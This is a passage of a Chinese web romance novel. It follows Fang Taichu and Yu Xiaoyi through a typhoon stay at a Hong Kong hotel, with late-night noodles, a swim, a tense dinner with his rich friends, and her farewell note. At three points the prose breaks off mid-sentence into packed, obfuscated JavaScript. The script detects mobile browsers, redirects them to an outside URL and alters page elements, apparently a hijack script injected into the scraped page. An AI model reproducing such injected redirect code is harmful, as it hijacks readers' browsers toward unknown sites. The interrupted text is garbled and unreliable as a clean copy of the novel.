刚从浴缸里出来的她发尾还有些湿,但好在整个酒店的温度都很恒定,她并不担心自己会因此而感冒,所以也没有太在意,只随便换了身衣服就推门而出。 她向来很少在衣食住行这些琐事上操心,这套衣服还是黄亦玫去法国出差时候帮她带回来的。 纯白色的廓形短袖配短裤,云朵般的质地,恰到好处地将她的圆润与纤细包裹其中,让她看起来更多是简单淳朴,而非清纯娇媚,刚好满足她想要的一切。 从小到大,妈妈的很多朋友私下都会叫她小玫瑰,就是因为她几乎就是她年轻时候的复刻版,黄亦玫即使年过四十还时常有男士大献殷勤,更何况是眼下二十岁的她? 她早说过,她早慧,所以她比谁都明白一朵含苞待放的粉玫瑰对于异性的吸引力,而她并不想给余萧弋那样的错觉。 她和他,本就是两条异面直线,此刻短暂相遇就已经是两人之间最近的距离,既然她无意于他,当然还是与之保持君子之交比较好一点。 可她怎么也没料到,余萧弋这个“星期五”竟比她还要注意形象,她在走廊里足足等了他八分钟,连墙壁上的挂画都欣赏到了第三幅,他才姗姗来迟。 偏头看见她,他倒吓了一跳,下意识说了句:“你咁快嘅?” 小初不动声色地瞧了他一眼,从他松散的蓝色休闲衬衫领口到被他挽到小臂的半截衣袖——这家伙,果然又换了身衣服。 “没有,我也刚出来。” 余萧弋走到她身侧。 小初身上氤氲的水汽隐隐散发着一股不知名的香,他的目光在她耳后雪白的皮肤上仓惶一瞥,嗓音渐低,“在看什么?” 小初没有立刻回答,而是顿了片刻才说:“这幅画的色彩运用得真好。” 那是两棵长着七彩叶子的树,一棵在岸边,一棵在水里,岸边那棵的叶子流星一般坠入水底,水底那棵则以热烈的姿态迎接着。 如此繁复而美丽的画,却每个笔触都晕染着悲剧色彩,因为所有人都知道,它们俩很快就会掉光所有叶子,走向必然枯萎的结局。 余萧弋点点头,笑:“这几幅画都出于同一个意大利画家之手,买的时候画家还名不见经传,现在嘛,咱俩要是能把它们偷出去,肯定能狠狠赚上一笔。” “你怎么知道?” “恰好认识经手人。” 小初笑出声来,“问题是,要怎么才能偷出去。” 余萧弋说:“先去吃饭,吃饱了才有力气想办法。”又不经意问她:“你看这幅画的时候在想什么?” 小初一时没设防,直言道:“我在想,爱似乎都是有一方在执意施与一些别人不需要的东西,最后两败俱伤。” 余萧弋说:“谁说不需要,你没见被施与的那一位欢迎的姿态有多热烈?你怎么知道它没有在享受。 ” 小初心头一震,又静静看了看那副画,没有再往下说。 两人一起来到楼上的餐厅。 绮丽一共有六七家不同风格的餐厅和酒吧,唯有这家米其林二星的中餐厅提供夜宵,只是夜宵的品类比正餐要少一些。 余萧弋快小初半步,在她落座之前,他已经帮她把椅子了拉出来,就连餐厅的服务人员都笑说:“余生好风度。” 餐厅内除了他们并没有别的客人,因此灯光被调得很暗。 外面雨势似乎比之前更大了一些,维港对面的摩天大楼模糊地映过来,与玻璃上的水痕混合成一片无序又杂乱的光影,更衬得室内静谧而悠远,像是某位神仙私设的结界。 余萧弋看了看菜单,问小初:“你想吃什么?” 小初说:“要么就吃云吞面?” “可以啊。”余萧弋合上菜单,微笑着递给服务人员,“一份云吞面,一份餐蛋面,饮料的话……”他想了想,“我要BB鸳鸯,你呢方太初?” 他那个温软的口音喊她全名有种说不出的味道,小初微微抬头,头顶昏黄的灯光骤然晃进她眼底,泛起一阵微小的波痕,时光静了几秒。 小初说:“饮料我就不喝了,吃了热热的面,刚好回去补觉。” 余萧弋点头:“也好。” 待服务人员走开,小初才漫不经心问他:“你同她们很熟?” “谈不上熟,不过我每周大概都会过来吃一次饭,时间久了,彼此多少都有点印象。” 小初微不可察地挑了挑眉。 每周一次。 余萧弋立刻解释:“你不许乱猜啊,这件事和Rebecca无关。” 小初笑:“我有说什么?” “这世上又不是所有事都只能靠语言表达,你那个玩味的神色,已经出卖了你。” 小初嘁了一声,“你还会看面相啊?” 余萧弋一本正经:“我还真会。” 小初说:“那你帮我看看,我什么时候能发财。” 余萧弋笑:“有多发财?” “很发财很发财,名利双收那种,回头你再来这间餐厅吃饭,港湾那边所有建筑的外立面上都是我方太初的大名。” “好,你别动,我帮你看看。” 余萧弋故弄玄虚地低头轻咳了一声,再抬头,眼神已经沉静下来,只有眉间残留的笑意还蔓延着未及收起的温柔。 果然人家说得没错,对视就是人类与情欲无关的精神接吻,两人虽然并没有什么实质意义上的接触,小初却无比清晰地感受到了空气正在升温。 客观来说,余萧弋绝对算得上她前二十年见过的最好看的男生之一,无论是样貌,身材亦或是气质,都称得上无可挑剔。 尤其是那双深邃明亮却又天然充满故事感的眼睛,实在不宜多看,看多了……就算清醒如她,恐怕也要沉沦。 所以她刚刚那句话不过就是个玩笑,却不想自己给自己挖了个陷阱,他太认真,她反倒不好回避,回避就显得心虚,她的骄傲不允许她败退,可还是有什么东西不动声色地出卖了她,还没过两分钟,她所有裸露在外的皮肤就都变成了一片绯色。 “你到底是不是专业的啊?”小初别开视线,用力打破暧昧,“我感觉你都快看到我的八十岁了,要是八十岁还没发财,这辈子也就到头了。” 余萧弋也没比她好到哪去,缓了半晌,才让自己的声音听上去更自然些,“方小姐你已经很发财了,不用再往前看了。” 小初眉心一跳,她自觉她并没有哪一刻透露过自己的底牌,他是怎么看出来的? “你不是在哄我吧余先生?” 服务人员适时出现,“BB鸳鸯请慢用。” 余萧弋低头喝了口饮料,也未做过多解释,只说:“总之,至少从这一刻起,方小姐就已经走在发财的路上了。” 小初挑挑眉:“那就借君吉言吧。” 余萧弋也学她挑挑眉,“我向来不打妄语。” 没一会儿,两人的面就上来了。 小初看了看他的那一碗,不禁哑然失笑:“感情餐蛋面就是午餐肉荷包蛋煮方便面啊?就这一碗要一百多港币?早知道你好这一口,你找个电热锅,我帮你复刻一碗一样的,也不用168,你付我个零头,68就行。” 余萧弋一怔,一种异样的情绪不受控制地从心底蔓延上来,仿佛他长这么大从未如此愉快过,“你还会煮面?” “实话说没煮过。”小初摆摆手,“不过,煮个方便面而已,还需要什么技术?” 什么技术难题又比得过将来从她爸手中接管亦方科技?她但愿自己四年后能顺利毕业,否则,她就要把她爸妈的脸丢到外太空了,到时候铺天盖地的营销号还不定要怎么编排她。 余萧弋越发愉快,“那倒是。”又问小初:“你那碗云吞面怎么样?” 小初答:“还行,其实我之前来香港总吃。” “所以你之前很多机会来香港玩吗?” “机会是很多,但时间有限,我平常挺忙的。” 余萧弋莞尔,“哦,是吗,都忙些什么?” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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餐厅服务员玩味看了他们俩一眼,“所以二位,到底谁付?” 小初如梦初醒,赶紧顺势松开手,抢着说道:“我付。” “嗯,她付。”余萧弋不动声色地活动了一下不听使唤的手指,忽而一笑,“方太初,看你也挺爱付账的,那明天的早餐你能帮我也一块付了吗?” 小初顿时眯了眯眸子,“你还要吃早餐?” 余萧弋好整以暇的,“对啊,天马上就亮了,还有两个小时,各个餐厅就要开始提供早餐了,这次我想吃西多士配港式奶茶,可以吗?” “不可以。”小初付了两碗面和一杯饮料的钱,不容置疑地抓过他的手腕,将他按坐在座位上,“你也别等天亮了,现在就把你的食物吃完。还有你这个什么BB鸳鸯,一口都不许浪费。这样……”小初将声音放缓,放轻,“大家就都能睡个好觉了。” “……”余萧弋有些为难,“一定要吃完吗?” 小初抱着双臂坐在他对面,面无表情地点点头,“你要是两个小时后还能有肚子吃早餐,现在就有办法把它们都吃完。” 她平生最讨厌有人浪费食物,以及无事非拉着她早起了。 好容易赶上一次台风天,谁不让她睡到自然醒,她就跟谁拼命。 到最后,余萧弋还是听话地吃完了一整碗面。 小初说:“还有饮料。” 余萧弋无奈看她一眼,“小姐,你等我缓缓。”而后又说,“冰块都化了,好难喝。” 小初终于忍不住笑出声来:“刚刚就想问你,这个鸳鸯到底是什么东西啊?” 余萧弋也不自觉勾起了唇角,耐心解释道:“鸳鸯就是咖啡混奶茶,不过前面加上BB二字就变成了好立克混阿华田了,不含咖啡因的。” 小初恍然道:“原来是这样,好可爱,那是不是还有BB奇诺还有BB柠檬茶什么的?” 余萧弋讶然于她的脑回路,没有回答她的问题,却不自觉重复了一句,“是好可爱。” 10. 第 10 章 小初自然醒来的时候,已经接近上午十点。 糟糕的天气和陌生的环境让她有些懵,一时竟没反应过来自己在哪里。 待反应过来,那个名字就如影随形般又贴了上来。 就在一天之前,她还是个满怀憧憬的少女,觉得这世上就没有什么事能难到她,这还没过二十四小时,她就已经暮气沉沉对什么都提不起兴趣了。 早知道失恋的滋味这么痛苦,她一开始就不该喜欢他。再想到他说的什么——对她没有碾碎自己的欲望,她就更加后悔,后悔没有当场给他一巴掌。 对她没有欲望…… 谁稀罕他的欲望? 还有,喜欢一个人为什么要以碾碎自己为代价?碾碎的又是什么东西?身体还是灵魂? 小初烦闷地走到镜子前,看着里面的自己。 托她爸妈的福,她从小就生的高挑纤细,五官立体,就连头发都丰盈到一度羡煞系里好几个越来越秃的数学男。 十五岁时陪黄亦玫去参加活动,还有经纪公司递名片,非要签她做演员,她如此天生丽质,他竟然能说出那么混账的话来,可见他不仅混账,眼光和审美也大有问题。 “可恶。” 小初恨恨骂了一句,可转念就想起他的阿沅那张大气风情的脸…… 不,他审美可好得很呢。 意识到这一点之后的小初更加郁闷了,她这才明白,原来人真正的长大是从发现这世上也没有那么多人喜欢自己开始计算的。 毕竟,只有小孩子的世界才都围着自己。 所以今天就是她真正意义上的成人礼呗,这么说,她应该要做点什么庆祝一下才对的。 可她对着镜子发了半天呆,也没想出她究竟干点什么才能让自己更开心点,最后还是打开了Annals开始啃论文。 她每次学习的时候都会特别专注,专注让她忘我,如此那些不开心的事也就可以随之一块消失了。 读完论文已经中午十二点,她不想出门,干脆叫Room Service送了份意面过来,吃完又翻开吉米多维奇做了两道证明题。 等疏通完逻辑,发现自己真的做到了每个步骤都严谨完美到毫无漏洞,她才长舒了口气,觉得自己又活过来了。 男人而已,有就有,没有也算了,说不定,有了只会影响她解题的速度。 忙完这一切,她才有空看手机。 微信消息99+,她没耐心每条都看完,只捡着重要的回了回,然后就从箱子里翻出了泳衣。 她已经打定主意要尽快将自己从失恋的痛苦中解救出来,那么运动当然是最快的方式。 昨天她特意看了,这家酒店九十六层就是室内游泳池,这个时间大家应该都在享受下午茶,游泳的人肯定不会多。 她的泳衣就是简约的黑色吊带连体款式,和她那条白色风琴网球裙随便搭搭就可以直接穿出门。 只是她没想到,她刚推开门,就碰上了刚好也从房间走出来的余萧弋。 巧合到像两个人约好了似的。 他跟她打招呼,“嗨。”然后也不知是看见了什么,只一个字就错开视线可疑地红了脸。 小初立刻低头审视了一下自己,她这身衣服虽然有点显身材,但也算无懈可击,他一副非礼勿视的模样是什么意思? “你……” 他顿了顿,好像不知道自己该说什么了。 小初有些莫名,“怎么,余同学今天说话的方式就是一个字吗?” “不是。”他被她逗笑,“我是想说,你怎么都没回我消息,本来中午我还想约你一起去吃饭的。” 小初有些疑惑,“你给我发消息了?不好意思,可能前面屏幕滑得太快,没有看见。” 余萧弋似是有些失落,又问她:“你的脚有没有好一点?” “嗯,好多了,还真要谢谢你昨天的冰敷。”要不是他提起,她都快忘了这码事了。 走廊里好几个女房客经过的时候一直朝他们的方向张望,小初心下了然,慧黠地看他一眼,“余同学,她们在看你呢。” 余萧弋烦躁地解开了衬衣最上面的一粒扣子,让自己的呼吸顺畅一点,“看我做什么。” 小初笑,“看你好看呗,帅哥嘛,多看看可以刺激刺激多巴胺,有助于保持年轻。” 余萧弋简直不明白一个人是怎么在如此纯真勇敢的性格底色下还能保持那么重的戒备心的,愕然了好一会儿才挑眉看她,“哦,那你怎么不看我?” 小初大笑,“因为我本来就年轻啊。” 她笑起来的样子明媚至极,余萧弋想不通这世上还有人不珍惜这样的笑容,一种说不清道不明的心疼情绪涌了上来,让他有些发怔。 小初朝他摆摆手:“走了啊。” “走去哪里?” “九十六层游泳池。” “那要不你等我一下,我们一块去?” 小初睨他一眼,“我是真的去游泳的,不是去休闲聊天拍照打卡的,你确定你要跟我一起去?而且,我的风格是一口气游到精疲力竭为止,我怕你跟在后面根本看不见我的影子。” 余萧弋呼吸一滞,“方小姐是刚参加完世锦赛吗?” 小初骄傲地扬了扬下巴,“我要是从小真花时间训练,世锦赛也没什么可望而不可及的。” 余萧弋实在没忍住,用手戳了戳她的头,“好,你别走,等着我。” 说完,他就回房间拿泳衣去了。 他的手指蜻蜓点水般落在她的额头上又迅速飞走,直至他从视线里消失回了房间,小初还停留在那个若有似无的微凉的触感里。 两人一块来到九十六层。 小初没猜错,这个时间这里还算清净,除了大大的落地窗边拍照打卡的几个漂亮女生以及岸边沙发上等着她们的几个歪瓜裂枣和肚满肠肥,泳池里空无一人。 余萧弋去试衣间换衣服的空挡,小初已经热好身跃入潋滟水中。 她游泳这事是她妈妈亲自启的蒙,偶尔她爸也教,不过后来还是专门请了教练,那教练退役之前曾是全国游泳冠军。 小初因此什么泳姿都会一点,但她最擅长的还是蝶泳,那个双臂配合腰部发力波浪式向前推进的方式让她感觉自己是一条真正的鱼,无比自由。 余萧弋从试衣间出来,发现岸边早没了小初的影子,直至她从泳池另一端跃出水面,他的一颗心才安定下来。 她的身段有种少女特有的窈窕和轻盈,发梢滴水的样子简直可以直接上少女杂志,却不会让人联想到色欲,只会让人感叹青春真好,夏天真好,一切都刚刚好。 不知怎么,游泳池的消毒水味突然不再讨厌,连空气里的风都是鲜活而蓬勃的生的味道,让人恨不能多吸几口。 小初游到他身边,双臂自然搭在岸边的地砖上,自下而上看了他一会儿,忽然展唇而笑,“余萧弋,你这个身材,真是天生该你吃这碗饭的。” 余萧弋愣了半晌才明白她在说什么,下一秒已经跃入了水中,将她半圈在了怀里,“你再胡说一句试试?” 小初没想到谦谦君子还有这样一面,慌乱之下只想逃,不想他根本没给她这个机会,反而轻而易举就将她调成了面对他的姿势。 泳池瓷砖上的凉意顺着后背传导进身体,可她却什么都感受不到了,只觉得热得无法呼吸。 “对不起,我开玩笑的。”小初向来知道什么时候应该低头,眼神无比真诚,“我错了,下次再不说你了,我本意只是想夸你身材好而已。” 从她这个视角看过去,刚好可以看见水面上正在荡漾着的,他的半截胸肌。 余萧弋不说话,只静静看着她,只是眼神里有什么东西正在升腾,小初想起了窗外正在肆虐的热带风暴。 可她是个北方人,骨子里就害怕这东西。 “你不是说我们是朋友了吗,既然是朋友,开两句玩笑,你应该不会往心里去吧?” 余萧弋说:“我已经不准备把你当朋友了。” “那你要怎么样才能原谅我?” “回答我两个问题。” 小初想了想,点点头。 两个问题而已,她那么擅长证明题,就算是故意说谎,她相信他也找不到她逻辑上的漏洞。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没事,我在想,我要怎么才能快点好起来。”小初灵巧地从他手臂下面溜走,直游了好几米才回身过来,“一会儿记得推荐我一家好吃的餐厅!” 余萧弋抿了抿唇,不声不响地追了上去。 两人直游到快天黑才停下来。 “没想到你游得还不错。”小初将湿漉漉的头发散开一点,她决定回房间再洗澡。 “那不然呢?”他笑着学她,“我要是从小真花时间训练,说不定已经是世锦赛冠军了。到时候方小姐再来香港,维港对面的摩天大楼上挂的就是我余萧弋的大名了,很发财那种。” 小初嘁了一声。 他把他T恤外面的衬衣递给她,“披上点,小心着凉。” 小初低头看了眼自己紧贴着皮肤的泳衣,还是从善如流地接了过来,将衣服披在了身上。 两人迈步走进电梯,里面刚好没人。 余萧弋突然问她:“你们学校漂亮吗?” 小初不可思议地瞪他一眼:“哥,我们那好歹是百年名学府。” 余萧弋的额发沾了水,不仅不塌,反而有种赏心悦目的性感,小初将一切照单全收。 她错了,就算她年轻,看看帅哥也是可以保持心情愉悦的。 “那……”他稍稍俯身下来,“你们学校什么时候最漂亮?” 小初想了想,“秋天吧,不是我们学校秋天最漂亮,而是秋天的北京最漂亮,跟你们这里是完全不同的两种风格。” “好,等秋天一到,我就去北京找你。”余萧弋的声音温柔而清朗,似沧浪之水,令人心头一颤。 “啊?”小初始料未及,一时竟不知该怎么答。 “啊什么啊?不欢迎吗?” “不是……” 电梯门突然打开。 两人抬头一看,这才发现他们刚刚谁都没有按楼层健,现在电梯已经到八十层来了。 几个打扮时髦的青年男女迈步而入,目光交错间已有一人惊讶出声:“Theo?你几时返港的,怎么也没联络大家?” 11. 第 11 章 余萧弋问小初愿不愿意陪他和朋友们去吃个饭,鬼使神差的,她竟答应了。 余萧弋似是没想到她会答应,待反应过来之后整个人简直像港岛入了春似的,随意一个眼波的流动,都是一派春和景明。 小初愕然看了他片刻,想说点什么,最后却什么都没说,直至回房间洗澡的时候她还在问自己,她到底是怎么想的。 明明刚刚那帮人一听见他同她讲普通话,看她的目光就从打量变成了审视。 有些东西不是她太敏感,而是她数学太好,比常人更能感受到25%和75%的区别。 黄亦玫曾教她,评判一个人是否能做朋友,要先去看他本来是一个什么样的人,他的底色永远比他对她好与不好更重要。 宁可要君子的淡漠,也不要小人的殷勤。 余萧弋刚刚那句「去北京的秋天找她」带给她的惊悚感,简直无异于要给她介绍工作去缅北…… 她和叶子瑜好歹还算从小一块长大的,这么多年的友情都没有转化为爱情,他余萧弋才认识她两天,是怎么做到热情得像画上面岸边那棵树一样,恨不能把浑身的叶子都化成流星雨落向她的。 他又凭什么觉得她会像水里那棵树一样张开双臂热烈欢迎他。 就凭他长得好看吗? 她要只图好看,让她爸把她喜欢的男明星请回来给亦方做代言人岂不是更简单直接? 小初笑自己,她什么都像她爸妈,唯一没遗传的,大概就是他们身上的浪漫主义弊病了。 时间太短,她还看不清余萧弋的底色,但她相信,他身边大部分的朋友什么样,他大概率也什么样。 没有人会超脱环境。 想明白这一切的小初并没有更安心,反而有点不知所措,因为她突然意识到,她已经在给他机会,让他证明他是她可以成为朋友的人了。 换了条简约的小裙子又化了个淡妆,小初就出了门,这一次,换成他等她。 “方太初,你好漂亮。”见她第一句,余萧弋就把心事出卖了个彻底。 小初愣了愣。 和她认识的那些内陆男生都不同,余萧弋的气质似是兼具了东西方的含蓄与直白,总给人一种既高智干练又矜持温柔的矛盾感。 此刻的他直白得简直让人心惊,小初低头看了下自己,有些不好意思,“我这样可以吗?我看你那些朋友穿得都挺讲究的,我也不好太随意。” 余萧弋不假思索,“非常可以。” 小初稍稍心安,而后又解释,“只不过我的衣服都不贵,你也知道的,内地的风气比较务实,尤其我又长在海淀,那边满大街随便一个拎超市购物袋的大爷,都可能是个院士。”小初大笑,“不过他们都说我们海淀土。” 余萧弋满眼温柔,“穿搭基础,人就不基础。” 小初瞪大眼睛,“余同学,你还玩内地的互联网呢?” 余萧弋骄傲地挑了挑眉:“我妈妈哈尔滨人。” 这下轮到小初震惊,“啊?那你们家是?” 余萧弋说:“后面再慢慢和你说。” 小初点点头,心里对他的好感又进了一层。 她说她怎么总是不自觉对他放下防备呢,原来是因为两人身上都有一半的东北血统啊。 又想难怪他会长得那么高,上次她回延吉陪奶奶的时候还想顺便去一趟哈尔滨的,只是苦于没有人同行,或许,下次可以跟他一块去。 两人到餐厅的时候,菜已经上了一大半。余萧弋给两边的人做了介绍,大家互相打了招呼,小初就坐下来一边吃东西一边听他们聊天了。 对方人太多,而且每个人都是既有中文名又有英文名的,小初其实并没有太记住谁是谁,好在他们对她也很冷淡,并无和她交谈的意思。 小初最欣赏的就是香港人的边界感,没人找她尬聊,她反而可以好好享受享受音乐和美食。 这是一家法式餐厅,能开在绮丽,菜品和格调自不必说,但小初从小到大法餐吃得太多了,也就觉得泛泛,并没有很惊艳的感觉。 餐厅内中国人和外国人参半,碍于着装要求和社交礼仪,大家都很优雅端庄,连讲话声都放得很轻。 香港人讲话很有意思,粤语中掺着英语,英语发音音调又做了本土改良,听起来就特别锻炼耳朵,小初语言天赋还可以,半听半猜倒也听了个七七八八。 果然世界就是个巨大的草台班子,无论哪的人凑一块都不能免俗,聊着聊着八卦就要开始暗戳戳地炫耀了。 她听见他们先聊了会度假海岛上的风光,又从IG上某个富二代网红,自然而然聊起了包包,坐小初对面的爱马仕姐吐槽不在现场的某个人,被SA耍成小丑,配货配了一堆破烂回来,送家里佣人都不定怎么被嫌弃。 又有人聊起她六十几岁的爸养在加拿大的二房,今年又生了第四胎,家族信托分钱的队伍日益壮大,真是可喜可贺。 其他人义愤填膺,纷纷附和。 然后又聊起谁的姐姐在澳洲刚生了小朋友,众人看着照片一阵感慨好cute,头发也cute鼻子也cute安抚玩偶也cute,又大骂姐姐的婆婆,小朋友刚生出来就开始催生,说什么最好凑个球队出来家里才热闹。 最后说起某几只股票,本想试试水的涨势一路高歌,最看好的那一只反而差点赔掉底裤。 又抱怨余萧弋,假期独来独往都不理大家,一点义气都无。 余萧弋也不解释,只淡笑:“我错了,今天我请好了。” 某人说:“当然你请,你这美人相伴春风得意的。一个星期之前还信誓旦旦自己没有女朋友,方小姐该不是你从哪里短租过来骗我们的吧?” 余萧弋听了立刻冷了脸,“你再胡说一句,从此后别说认识我。” 那人悻悻,不再吭声。 余萧弋紧张地看向小初:“对不起啊,铭仔这人平时就爱开玩笑,不是故意冒犯你的。” 小初弯了弯唇,教养极好:“没关系,他大概率是暗恋你,所以才会这么紧张你身边的朋友。” 余萧弋嘴角一抽。 那个叫铭仔的一听不干了,“我才不是Gay!” 小初懒得理他,低头喝了一口红茶。 嗯,他们家今天也就这红茶还可以。 其他几个人听了又玩味打量了小初一遍,似是碍于余萧弋的面子,也没说别的,只彼此交换了个不可言说的眼神,就聊到别的话题上去了。 小初听得意兴阑珊,脑子里对这群人的画像也逐渐清晰。 他们彼此间很熟,甚至可能比她和叶子瑜认识的时间还长。 都是一群吃喝不愁的富二代,家里至少中产以上。英语夹着粤语说的是常年在国外的,粤语夹着英语说的是还没出去但估计也快要出去了的。 整个聊天的过程中余萧弋倒是还算安静,大多数时候扮演的都是倾听者的角色,而且她明显感觉他心不在焉,好像更多关注的都是她的感受。 诸如她能不能接受这里的食物,会不会觉得闷,冷气有没有太冷。 小初突然很好奇,他一个开平民车的,是怎么和这帮人混到一块去的。 “对不起啊,他没什么文化,你大人不记小人过,千万别往心里去。”他贴着她的耳朵解释道。 他突然的靠近让小初瞬时红了脸,往旁边躲了躲,小声说道,“你不要太近,我能听见。” 他笑:“我当然知道你能听见,我是怕他们听见。” 小初直白地说:“那你们是不是真朋友啊。” 她跟叶子瑜,可是即使不能亲嘴还能斗嘴呢。 “你不懂,香港很小,很多东西盘根错节。而且……”余萧弋公正地说:“他们骨子里都不坏,虽然娇纵,但也义气。” 小初不置可否。 只问他:“刚他们聊留学的事你怎么不搭腔?你没打算出去吗?在你们这,没有海外教育背景很难立足吧?” 余萧弋不答反问:“那你呢?没想过出去吗?” 小初一怔,“我?我肯定不出去呀。” “为什么?你们学校大部分硕士阶段也都出去了吧?” 小初想起舅舅黄振华的那句话——可以,但没必要。 她一个互联网行业的企二代,又不需要像她爸当年创业时候那样凡事都要亲力亲为,国内Top2的博士,其实已经有些学历过剩了。 但这话说出来未免太狂妄,所以她只能从另一个角度给他答案:“我是我爸妈的独生女,他们上面还有三个老人,舅舅舅妈岁数也大了,小表弟还小,这个家以后得靠我,我不能走。” 余萧弋千想万想没想到她是这么想的,不禁越发好奇她究竟是怎么长大的。 毕竟,他身边的大多数人,还在想怎么才能从父辈那边拿到更多好处,责任的事,都暂且放在一边呢。 余萧弋垂眸注视着她:“你爸妈有你真幸福。” 小初被他认真的样子逗笑:“那不是废话吗,我这么好,谁有我不幸福?不过,其实有我爸妈,我才是那个更幸福的人。” 余萧弋被她的快乐感染,非常认可地点了点头。 小初看了看表,“时间差不多了,我就先撤了吧。你们慢慢聊,回头餐费多少我A给你。” “这就走了?” 余萧弋眸底的春水骤然结成了冰,并碎裂开来,顺着血管往心头刺去。 他隐隐觉得好像有什么事被自己搞砸了。 “嗯,走了。”小初看着他的眼睛,真诚一笑,“谢谢你啊,余萧弋,你名字真好听。” 余萧弋没太听懂,只问她:“要不吃了甜品再走?他们家甜品还不错。” 小初站起身:“不了,我还有事。” 余萧弋只好也跟着她站起身来,就在这会儿,忽听得一阵喧哗声从落地窗那边传来,很突兀,和整个餐厅的氛围很不符。 这次是普通话夹杂着英语。 普通话在道歉,英语带着醉意,电报似的一长串都是违禁词。 众人都转过头去看。 原来是两个女孩坐在落地窗旁边拍照,不小心碰到了隔壁桌的白人,对方喝了点酒,又占着理,就有点不依不饶的意思。 小初看着那两小女孩恐怕还没她大,一副青涩的学生模样,那个醉酒的白男看着得接近两米,骂起人来的气场更是要乘以十,那两个女孩吓得一直低头道歉,头都不敢抬。 餐厅经理走了过去,了解了情况之后也一直在安抚白男的情绪,并再次要求小女孩道歉。 小女孩照做,不仅照做,还照做了不下五十遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309757|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为小初看见她们一直在说对不起,几乎就没有停下来。 不知怎么胸口就有点闷。 余萧弋回头看了眼小初,嘱咐到:“你在这等会,我去看看。” 小初虽然有些不明白为什么他要去看,但还是点了点头,又坐了下来。 待他离开,他的那些朋友终于没了顾忌,把心里想讲的话干脆都讲了个痛快,而且这次说的还是普通话。 小初第一次发现,原来他们也会说普通话,而且说得也挺能让人听懂的。 “这些人也不知道在拍什么,一天到晚拍拍拍,走在路上也在拍,他们不觉得自己那个样子很滑稽吗?” “这两个女人也真是有病,还要害Theo出来帮他们解围。” “我记得Theo的妈妈……” “你还真以为他出来帮忙解围是因为他妈妈啊,这里是Rebecca的地盘OK?他不想影响酒店声誉而已。” “难怪Rebecca那么疼他。” “话讲回来你们都不知道这帮人有多离谱,我这次乘那个游轮,是真的有人从普通舱跑上来钓有钱男人的,就跟那个电视剧里演的一模一样,My God,这个世界疯了。” 似是有人终于想起了小初,问道:“方小姐,你是怎么认识Theo的啊?” “飞机上。”小初浑不在意地笑笑,送了口鱼子酱龙虾在嘴里。 只是下一秒,她就因为尝出了里面她不喜欢的味道而蹙起了眉,好在她没有在这么多人的注视下吐出来。 刚刚那个铭仔一脸玩味,“怎么了方小姐,吃不惯啊?这可是他们家的招牌,蓝龙虾配香茅和鱼子酱,你多尝尝咯。” “难怪。”小初了然,赶紧喝了口水漱了漱,“好好的欧洲菜一股东南亚香料味。” 几人愣住。 似是在思考她刚刚那句话是什么意思。 小初抬起头来,眼神依旧明媚而纯真,“哦,你们刚刚问余萧弋是怎么认识的我是吧?我们是在飞机上认识的,他特地为我买的普通舱,跟电影里的情节一模一样,这个世界确实挺疯的。几位,enjoy yourself,我还有事,先走了。” 小初拿起桌面上的账单,她原以为这里人均要几千块呢,原来不算酒水也就那样。 余萧弋那边已经安抚好了两边的客人,不过,在他回来之前,小初已经大踏步离开了餐厅,乘电梯下了楼。 回到房间,她就叫客房服务取走了刚刚她穿过的那件属于他的衬衫。 * 余萧弋好容易脱身下楼的时候,小初房间已经没了声音。 他怕她睡着了也不敢敲门,只敢发微信给她:“睡了吗?” 大约过了五分钟,她才回他:“嗯,怎么了?” “没事,想着你要是没睡,我能不能和你聊聊。” 她回他:“很晚了,有什么话明天再说吧。” “哦。” 想着自己这样好像有点无礼,他赶紧又补了句:“那晚安,明早一块吃早餐。” 小初没再回。 新闻上说,此次热带气旋强度已减弱为热带低压,天气将于明日八时起有明显好转,各项交通服务将逐步恢复,机场航班也将重新编配。 这一夜的风雨之势明显减弱了不少,但余萧弋却睡得极不安稳,连梦里都在一直在追着什么人的影子跑,可醒来后他却怎么都想不起那人的脸,也不记得他追她的时候都喊了什么。 他累极了,整个人的状态都不太好,但还是没忘记昨晚和方小姐的约定,于是他认真梳洗,然后走向她。 他敲了很久的门,直至敲来了客房服务。她们递给他一件洗的干干净净,也叠的整整齐齐的衬衫,以及一个白色信封。 他几乎是用颤抖着的手打开的它。 原以为那会是一封信,事实上倒也能算是,但它更像是一张账单,上面一笔一笔清晰记着她应该补给他的钱,房费的差价,最后那顿晚餐的钱,她甚至还没忘记说——酒我没喝,那个钱我就不A了啊。 她把一切都算得清清楚楚,完全的公事公办,还没忘在信封里给他附一沓港币。 只有在账单的末尾才有极短的几句话。 「余同学,你好。很开心在香港认识你,但每个人都有自己的路要走,你我已殊途。我是个即使哭泣也要用力奔跑的人,不适合做朋友,更不适合做别的。因为我不够脆弱,又不肯停下来倾听别人的脆弱。北京的学校名是骗你的,别浪费时间来找我(当然这算是我的一点自作多情),无论我在哪里都会祝你幸福。你是个好人,理应得到幸福。落款,小方。P.S.给你留的钱大概还多了一点,刚好请你吃明天的早餐,记得给自己点个西多士和一杯港式奶茶。」 余萧弋还没读完就已经泪流满面,然后又气得恨不能把信和那叠钱都碎成一万片,但到底还是没舍得。 “方太初,你还真会杀人虐心啊!” 